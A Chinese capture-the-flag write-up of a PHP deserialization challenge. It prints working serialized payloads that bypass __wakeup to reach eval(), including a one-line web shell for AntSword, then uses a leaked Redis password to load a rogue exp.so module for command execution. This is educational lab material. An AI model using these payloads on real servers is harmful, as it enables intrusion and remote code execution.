当前位置: 首页 > news >正文

[天翼杯 2021]esay_eval

[天翼杯 2021]esay_eval

<?php
class A{public $code = "";function __call($method,$args){eval($this->code);}function __wakeup(){$this->code = "";}
}class B{function __destruct(){echo $this->a->a();}
}
if(isset($_REQUEST['poc'])){preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);if (isset($ret[1])) {foreach ($ret[1] as $i) {if(intval($i)!==1){exit("you want to bypass wakeup ? no !");}}unserialize($_REQUEST['poc']);    }}else{highlight_file(__FILE__);
} 

 代码审计

给了两个类A和B

A类下有一个公有属性code,call函数和wakeup魔术方法,

B类下有一个一个函数destruct

后面是三个if的判断语句,第一个if判断是isset函数判断request数组中是否有poc参数

preg_match_all函数用于执行一个全局正则表达式匹配。它搜索与给定主题中的模式匹配的所有匹配项,并将匹配项存储在数组中。

语法

int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )

搜索 subject 中所有匹配 pattern 给定正则表达式的匹配结果并且将它们以 flag 指定顺序输出到 matches 中。

在第一个匹配找到后, 子序列继续从最后一次匹配位置搜索。

参数说明:

$pattern: 要搜索的模式,字符串形式。

$subject: 输入字符串。

$matches: 多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。

$flags:可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):

PREG_PATTERN_ORDER: 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。

PREG_SET_ORDER: 结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组), $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组,以此类推。PREG_OFFSET_CAPTURE: 如果这个标记被传递,每个发现的匹配返回时会增加它相对目标字符串的偏移量。

offset: 通常, 查找时从目标字符串的开始位置开始。可选参数offset用于 从目标字符串中指定位置开始搜索(单位是字节)。

接着分析这段代码:preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);

/"[AB]":匹配双引号内的字母B或A,然后是冒号。

(.*?)非贪婪匹配任意字符,并捕获它们。

:匹配一个冒号。

/s 使`.`匹配包括换行符在内的所有字符。

会从$_REQUEST['poc']字符串中查找所有能够匹配的字符,并把所匹配到的字符存储到$ret数组中。

第二个if是检查$ret,是否找到了匹配项,

foreach遍历匹配结果并验证,遍历匹配的值,并转换为整数,判断是否为1

如果有任何值不等于1就会退出脚本,返回:you want to bypass wakeup ? no !

 如果所有值都通过验证,就对$_REQUEST['poc']进行反序列化,

反序列化将字符串转换回PHP变量。

总的来说就是会对传入的参数进行判断,A或B后面是不是为1,是1才可以继续执行,该题又需要绕过weakup魔术方法,A或B后的一定不能是1,就用到php对类名大小写不敏感的特性去绕过

A或B就可以是a和b,使用小写。

就可以构造payload

<?php
class a{
public $code = "";
function __construct(){
$this->code = "phpinfo();";
}
}
class b{
function __construct(){
$this->a=new a();}
}
echo serialize(new b());

 输出:

O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

改成:

O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

绕过weakup魔术方法

传参:/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

进入phpinfo页面

搜索后里面没有flag

换一种姿势,尝试使用一句话木马。用蚁剑连接

构造:

<?php
class a{public $code = "eval(\$_POST[1]);";}class b{public $a;function __construct(){$this -> a=new A();}
}
$c = new b();
$poc = serialize($c);
echo $poc;

 输出:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:16:"eval($_POST[1]);";}}

构造:/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:16:"eval($_POST[1]);";}}

 传入成功后连接蚁剑

 含有一个config.php.swp文件

 是vim泄露,

简述:

当你非正常关闭vim编辑器时(比如直接关闭终端或者电脑断电),会生成一个.swp文件,这个文件是一个临时交换文件,用来备份缓冲区中的内容。

需要注意的是如果你并没有对文件进行修改,而只是读取文件,是不会产生.swp文件的。

意外退出时,并不会覆盖旧的交换文件,而是会重新生成新的交换文件。而原来的文件中并不会有这次的修改,文件内容还是和打开时一样。

例如,第一次产生的交换文件名为“.file.txt.swp”;再次意外退出后,将会产生名为“.file.txt.swo”的交换文件;而第三次产生的交换文件则为“.file.txt.swn”;依此类推。

文件内容:

可以使用Linux命令vi -r config.php.swp来还原文件,使用,ls -al查看文件

但我们直接可以看到内容就不恢复了

内容大概就是:

define("REDIS_PASS","you_cannot_guess_it");

define("DB_DATABASE","test");

define("DB_PASSWOrd","");

define("DB_USERNAME","root");

define("DB_HOST","localhost");

<?php

搜索后是redis,redis就是个数据库,常见端口为6379,常见漏洞为未授权访问。

使用蚁剑的插件redis进行连接

该插件需要科学上网才可以在插件市场下载,不然会一直转圈,加载不出来。

或者可以下载插件源代码。

安装好插件后就可以进行连接

密码是you_cannot_guess_it,在泄露的文件中给了出来。

 连接成功,还需要上传exp.so这个文件,下载地址是:

https://gitcode.com/Dliv3/redis-rogue-server/overview?utm_source=csdn_github_accelerator&isLogin=1

 长传文件后加载这个文件,使用命令

MODULE LOAD /var/www/html/exp.so

 再进行命令执行,ls和cat

 总结:

php对类名大小写不敏感特性可以绕过正则匹配。

对weakup魔术方法的绕过,传入的数量比真实数量大就可以绕过。

eval函数

代码:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

 eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

所以这就是本题的危险函数,通过对poc链的构造先尝试传入phpinfo();成功返回该页面后就可以传入一句话木马,再连接蚁剑,但是权限不够,访问不了根目录,查看config.php.swp文件,涉及到vim泄露,还原文件后得知是redis数据库,给了root账户的密码,使用redis插件进行连接,连接后上传一个so文件用来进一步提权,加载该so文件后就可以进行命令执行。

通过搜索该题还有第二种提权方式

使用disable_functions插件进行提权,只需要简单的ls命令,cat命令就行

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 某国资集团数据治理落地,点燃高质量发展“数字引擎”
  • 2024.06.12【读书笔记】丨生物信息学与功能基因组学(第十四章 细菌和古细菌基因组 第二部分)【AI测试版】
  • 基于SSM的旅游民宿预定系统【源码】【运行教程】
  • 私域引流宝PHP源码 以及搭建教程
  • Redis保证数据⼀致、缓存穿透、缓存雪崩和数据热点
  • 细说MCU串口函数及使用printf函数实现串口发送数据的方法
  • 贝尔编程是干什么的:深入探索其核心理念与应用领域
  • Python基础教程(十六):正则表达式
  • 【前端面试】动态表单篇
  • Java课程设计:基于ssm的旅游管理系统系统(内附源码)
  • 征集2024年西咸新区科技计划项目(第一批)申报类别要求和申报时间流程指南
  • 常用数字滤波器类型
  • GDB调试C++程序
  • 如何让 uboot启动时自动执行指令?(执行“mtdparts default”命令)
  • 在css样式中使用em和px。各有什么优势,在表现上有什么区别?
  • 【前端学习】-粗谈选择器
  • 0基础学习移动端适配
  • IE报vuex requires a Promise polyfill in this browser问题解决
  • Netty 框架总结「ChannelHandler 及 EventLoop」
  • PAT A1120
  • Protobuf3语言指南
  • Redis字符串类型内部编码剖析
  • Spring Cloud Alibaba迁移指南(一):一行代码从 Hystrix 迁移到 Sentinel
  • Vue源码解析(二)Vue的双向绑定讲解及实现
  • 编写符合Python风格的对象
  • 从零开始在ubuntu上搭建node开发环境
  • 开发基于以太坊智能合约的DApp
  • 面试遇到的一些题
  • 前嗅ForeSpider教程:创建模板
  • 腾讯优测优分享 | 你是否体验过Android手机插入耳机后仍外放的尴尬?
  • 微信小程序设置上一页数据
  • 无服务器化是企业 IT 架构的未来吗?
  • 详解移动APP与web APP的区别
  • 再次简单明了总结flex布局,一看就懂...
  • 终端用户监控:真实用户监控还是模拟监控?
  • ## 临床数据 两两比较 加显著性boxplot加显著性
  • $jQuery 重写Alert样式方法
  • %@ page import=%的用法
  • (1)Jupyter Notebook 下载及安装
  • (1)虚拟机的安装与使用,linux系统安装
  • (PHP)设置修改 Apache 文件根目录 (Document Root)(转帖)
  • (TOJ2804)Even? Odd?
  • (二)学习JVM —— 垃圾回收机制
  • (分布式缓存)Redis哨兵
  • (附源码)springboot猪场管理系统 毕业设计 160901
  • (十)【Jmeter】线程(Threads(Users))之jp@gc - Stepping Thread Group (deprecated)
  • (转)mysql使用Navicat 导出和导入数据库
  • (转)大型网站架构演变和知识体系
  • (转载)PyTorch代码规范最佳实践和样式指南
  • (总结)Linux下的暴力密码在线破解工具Hydra详解
  • .bat批处理(六):替换字符串中匹配的子串
  • .halo勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
  • .NET Core使用NPOI导出复杂,美观的Excel详解
  • .Net程序帮助文档制作
  • .NET是什么